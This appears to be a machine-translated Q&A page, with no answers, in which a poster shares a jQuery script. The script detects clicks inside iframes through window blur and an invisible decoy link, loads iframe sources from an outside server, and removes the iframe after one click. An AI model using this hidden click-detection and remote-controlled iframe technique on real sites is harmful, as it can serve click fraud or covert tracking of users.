脚本识别Jquery

时间:2015-04-20 19:05:09

标签: javascript jquery html iframe

我有这个脚本,它帮助我在iframe内的脚本中点击,当我点击这个iframe时,iframe中的脚本会执行,并关闭iframe。

我已经看到几个问题,因为它标识了iframe中的点击以运行某个功能或其他内容。 我相信这个脚本可以帮助你做到这一点。

    $(document).ready(function(){

$.enableFrameClick = function(){
    var decoy = $('<a href="#"/>').css({
        position: 'absolute',
        right:0,
        top:0,
        width:1,
        opacity:0
    }).click(function(e){ return false }).appendTo(document.body);


$(window).blur(function(){
    if ($.inFrame){
        $('#'+$.inFrame).trigger('vclick');
        setTimeout(function(){
            decoy.focus();
        }, 10);
    }
});

var ids = +(new Date);
$('iframe').each(function(){
    if (!this.id){
        this.id = ++ids;
    }
    $(this).hover(function(){
        $.inFrame = this.id;
    }, function(){
        $.inFrame = null;
    })
});
};

$('iframe').bind('vclick', function(){
    $.ifrm(1);
    //log(['[',++i,']','clicked', this.id].join(' '));
});

function log(m){
    //$('#log').text(m);
    //console.log(m);
}

var i = 0;

$.ifrm = function(r){
    $.get("http://chefreceitas.com.br/"+r, function(html,status){
        $('iframe').attr("src",html);
        if(r == 1)
            html = '';
        if(html == '')
            $('iframe').remove();
    });
};

$.enableFrameClick();
$.ifrm(0);

0 个答案:

没有答案